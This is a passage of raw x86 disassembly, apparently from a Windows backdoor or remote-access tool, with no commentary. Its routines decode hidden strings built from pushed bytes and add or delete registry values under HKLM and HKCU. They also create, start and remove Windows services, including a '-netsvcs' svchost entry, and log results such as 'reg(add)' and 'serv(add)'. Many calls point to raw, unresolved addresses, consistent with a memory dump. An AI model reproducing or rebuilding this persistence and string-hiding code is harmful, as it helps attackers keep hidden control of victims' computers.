		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28F0000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28F0000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2930000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28F0000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28F0000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28F0000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27D0A8Ah
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 28F088Ah
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447874
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 28F0C6Eh
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		call	near ptr 27A08E7h
		nop
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		call	near ptr 2900000h
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		call	near ptr 2900237h
		nop
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28F088Ah
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28906B4h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		nop
		call	near ptr 2900000h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 28F046Ch
		push	esi
		call	near ptr 28F0744h
		nop
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 28F088Ah
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 28906B4h
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		nop
		call	near ptr 2900000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28F088Ah
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28906B4h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		nop
		call	near ptr 2900000h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28E0C58h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
